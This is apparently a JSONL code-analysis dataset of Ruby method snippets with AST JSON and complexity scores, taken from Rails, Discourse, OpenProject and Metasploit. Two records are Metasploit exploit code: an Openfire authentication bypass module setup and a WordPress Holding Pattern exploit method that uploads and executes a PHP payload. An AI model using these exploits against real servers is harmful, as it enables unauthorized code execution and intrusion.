{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/mixin_test.rb","start_line":15,"raw_source":"def test_update\n    stamped = Mixin.new\n\n    assert_nil stamped.updated_at\n    assert_nil stamped.created_at\n    stamped.save\n    assert_equal Time.now, stamped.updated_at\n    assert_equal Time.now, stamped.created_at\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stamped\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mixin\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stamped\"]},\"updated_at\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stamped\"]},\"created_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stamped\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stamped\"]},\"updated_at\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stamped\"]},\"created_at\"]}]}]}]}","id":"852e5077-6e8b-4c01-8f34-f06be5f4a1a7"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/event_reporter.rb","start_line":370,"raw_source":"def notify(name_or_object, payload = nil, caller_depth: 1, **kwargs)\n      name = resolve_name(name_or_object)\n      payload = resolve_payload(name_or_object, payload, **kwargs)\n\n      event = {\n        name: name,\n        payload: payload,\n        tags: TagStack.tags,\n        context: context_store.context,\n        timestamp: Process.clock_gettime(Process::CLOCK_REALTIME, :nanosecond),\n      }\n\n      caller_location = caller_locations(caller_depth, 1)&.first\n\n      if caller_location\n        source_location = {\n          filepath: caller_location.path,\n          lineno: caller_location.lineno,\n          label: caller_location.label,\n        }\n        event[:source_location] = source_location\n      end\n\n      @subscribers.each do |subscriber_entry|\n        subscriber = subscriber_entry[:subscriber]\n        filter = subscriber_entry[:filter]\n\n        next if filter && !filter.call(event)\n\n        subscriber.emit(event)\n      rescue => subscriber_error\n        if raise_on_error?\n          raise\n        else\n          ActiveSupport.error_reporter.report(subscriber_error, handled: true)\n        end\n      end\n\n      nil\n    end","complexity_score":44.03,"ast_json":"{\"type\":\"def\",\"children\":[\"notify\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name_or_object\"]},{\"type\":\"optarg\",\"children\":[\"payload\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"caller_depth\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"resolve_name\",{\"type\":\"lvar\",\"children\":[\"name_or_object\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"resolve_payload\",{\"type\":\"lvar\",\"children\":[\"name_or_object\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagStack\"]},\"tags\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context_store\"]},\"context\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"CLOCK_REALTIME\"]},{\"type\":\"sym\",\"children\":[\"nanosecond\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"caller_location\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caller_locations\",{\"type\":\"lvar\",\"children\":[\"caller_depth\"]},{\"type\":\"int\",\"children\":[1]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caller_location\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_location\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filepath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caller_location\"]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lineno\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caller_location\"]},\"lineno\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caller_location\"]},\"label\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"source_location\"]},{\"type\":\"lvar\",\"children\":[\"source_location\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subscribers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subscriber_entry\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber_entry\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subscriber\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber_entry\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},\"emit\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"subscriber_error\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise_on_error?\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"error_reporter\"]},\"report\",{\"type\":\"lvar\",\"children\":[\"subscriber_error\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"handled\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"1217e7aa-bf88-41d1-a237-edb4b4d6a89c"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/test/rail_inspector/visitor/load_test.rb","start_line":7,"raw_source":"def test_finds_requires_and_autoloads\n    source = <<~FILE\n    require \"a\"\n    require \"b\"\n\n    module D\n      require \"k\"\n\n      autoload :L\n      autoload :M, \"n/o\"\n\n      class E::F\n        require \"p/q\"\n\n        autoload :G\n        autoload :H, \"i/j\"\n      end\n    end\n    FILE\n\n    loads = { requires: [], autoloads: [] }\n\n    visitor = RailInspector::Visitor::Load.new { loads }\n    Prism.parse(source).value.accept(visitor)\n\n    assert_equal [\"a\", \"b\", \"k\", \"p/q\"], loads[:requires]\n    assert_equal [\"d/l\", \"n/o\", \"d/e/f/g\", \"i/j\"], loads[:autoloads]\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_finds_requires_and_autoloads\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"require \\\"a\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"require \\\"b\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"module D\\n\"]},{\"type\":\"str\",\"children\":[\"  require \\\"k\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  autoload :L\\n\"]},{\"type\":\"str\",\"children\":[\"  autoload :M, \\\"n/o\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  class E::F\\n\"]},{\"type\":\"str\",\"children\":[\"    require \\\"p/q\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    autoload :G\\n\"]},{\"type\":\"str\",\"children\":[\"    autoload :H, \\\"i/j\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  end\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loads\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requires\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"autoloads\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"visitor\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailInspector\"]},\"Visitor\"]},\"Load\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"loads\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},\"value\"]},\"accept\",{\"type\":\"lvar\",\"children\":[\"visitor\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"str\",\"children\":[\"k\"]},{\"type\":\"str\",\"children\":[\"p/q\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loads\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"requires\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"d/l\"]},{\"type\":\"str\",\"children\":[\"n/o\"]},{\"type\":\"str\",\"children\":[\"d/e/f/g\"]},{\"type\":\"str\",\"children\":[\"i/j\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loads\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"autoloads\"]}]}]}]}]}","id":"7a9e8cbd-a1f7-42e8-843b-c877c9eedb2a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/openfire_auth_bypass.rb","start_line":16,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Openfire Admin Console Authentication Bypass',\n        'Description' => %q{\n          This module exploits an authentication bypass vulnerability in the administration\n          console of Openfire servers. By using this vulnerability it is possible to\n          upload/execute a malicious Openfire plugin on the server and execute arbitrary Java\n          code. This module has been tested against Openfire 3.6.0a.\n\n          It is possible to remove the uploaded plugin after execution, however this might turn\n          the server in some kind of unstable state, making re-exploitation difficult. You might\n          want to do this manually.\n        },\n        'Author' => [\n          'Andreas Kurtz', # Vulnerability discovery\n          'h0ng10' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2008-6508' ],\n          [ 'OSVDB', '49663' ],\n          [ 'BID', '32189' ],\n          [ 'EDB', '7075' ],\n          [ 'URL', 'http://community.igniterealtime.org/thread/35874' ]\n        ],\n        'DisclosureDate' => '2008-11-10',\n        'Privileged' => true,\n        'Platform' => %w{java linux win},\n        'Stance' => Msf::Exploit::Stance::Aggressive,\n        'Targets' => [\n          #\n          # Java version\n          #\n          [\n            'Java Universal',\n            {\n              'Arch' => ARCH_JAVA,\n              'Platform' => 'java'\n            }\n          ],\n          #\n          # Platform specific targets\n          #\n          [\n            'Windows x86 (Native Payload)',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_X86,\n            }\n          ],\n          [\n            'Linux x86 (Native Payload)',\n            {\n              'Platform' => 'linux',\n              'Arch' => ARCH_X86,\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(9090),\n        OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),\n        OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),\n        OptString.new('PLUGINAUTHOR', [ false, 'Openfire plugin author, (default: random)' ]),\n        OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),\n        OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),\n      ]\n    )\n  end","complexity_score":11.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Openfire Admin Console Authentication Bypass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an authentication bypass vulnerability in the administration\\n\"]},{\"type\":\"str\",\"children\":[\"          console of Openfire servers. By using this vulnerability it is possible to\\n\"]},{\"type\":\"str\",\"children\":[\"          upload/execute a malicious Openfire plugin on the server and execute arbitrary Java\\n\"]},{\"type\":\"str\",\"children\":[\"          code. This module has been tested against Openfire 3.6.0a.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          It is possible to remove the uploaded plugin after execution, however this might turn\\n\"]},{\"type\":\"str\",\"children\":[\"          the server in some kind of unstable state, making re-exploitation difficult. You might\\n\"]},{\"type\":\"str\",\"children\":[\"          want to do this manually.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Andreas Kurtz\"]},{\"type\":\"str\",\"children\":[\"h0ng10\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-6508\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"49663\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"32189\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"7075\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://community.igniterealtime.org/thread/35874\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2008-11-10\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"java\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stance\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Stance\"]},\"Aggressive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Java Universal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_JAVA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"java\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x86 (Native Payload)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux x86 (Native Payload)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[9090]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to the web application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PLUGINNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Openfire plugin base name, (default: random)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PLUGINAUTHOR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Openfire plugin author, (default: random)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PLUGINDESC\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Openfire plugin description, (default: random)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"REMOVE_PLUGIN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Try to remove the plugin after installation\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"fee5699a-0f4f-43d4-b93c-5ffbaf55ecf2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_plugin_serializer.rb","start_line":87,"raw_source":"def is_official\n    Plugin::Metadata::OFFICIAL_PLUGINS.include?(object.name)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"is_official\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Plugin\"]},\"Metadata\"]},\"OFFICIAL_PLUGINS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"name\"]}]}]}","id":"7d22cb81-33a5-479d-8cc3-a4c5387e74ad"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb","start_line":82,"raw_source":"def exploit\n    print_status(\"Preparing payload...\")\n    payload_name = \"#{Rex::Text.rand_text_alpha_lower(10)}.php\"\n    data = generate_mime_message(payload, payload_name)\n\n    print_status(\"Uploading payload...\")\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => holding_pattern_uploader_url,\n      'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n      'data' => data.to_s\n    )\n    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?\n    fail_with(Failure::UnexpectedReply, \"Server responded with status code #{res.code}\") if res.code != 200\n    payload_url = normalize_uri(holding_pattern_uploads_url, payload_name)\n\n    print_status(\"Executing the payload at #{payload_url}\")\n    register_files_for_cleanup(payload_name)\n    send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)\n  end","complexity_score":28.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Preparing payload...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"generate_mime_message\",{\"type\":\"send\",\"children\":[null,\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading payload...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"holding_pattern_uploader_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"No response from the target\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Server responded with status code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"payload_url\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"holding_pattern_uploads_url\"]},{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing the payload at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_url\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"payload_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]},{\"type\":\"int\",\"children\":[5]}]}]}]}","id":"8af5eeef-2d05-4ef6-bd1b-9d664e2a131d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_attributes_service/derive_progress_values_work_based.rb","start_line":85,"raw_source":"def set_complete\n      self.percent_complete = 100\n      skip_percent_complete_derivation!\n    end","complexity_score":2.25,"ast_json":"{\"type\":\"def\",\"children\":[\"set_complete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"percent_complete=\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"send\",\"children\":[null,\"skip_percent_complete_derivation!\"]}]}]}","id":"a2592598-ee44-4c0a-9883-1cd2de7fe2d5"}
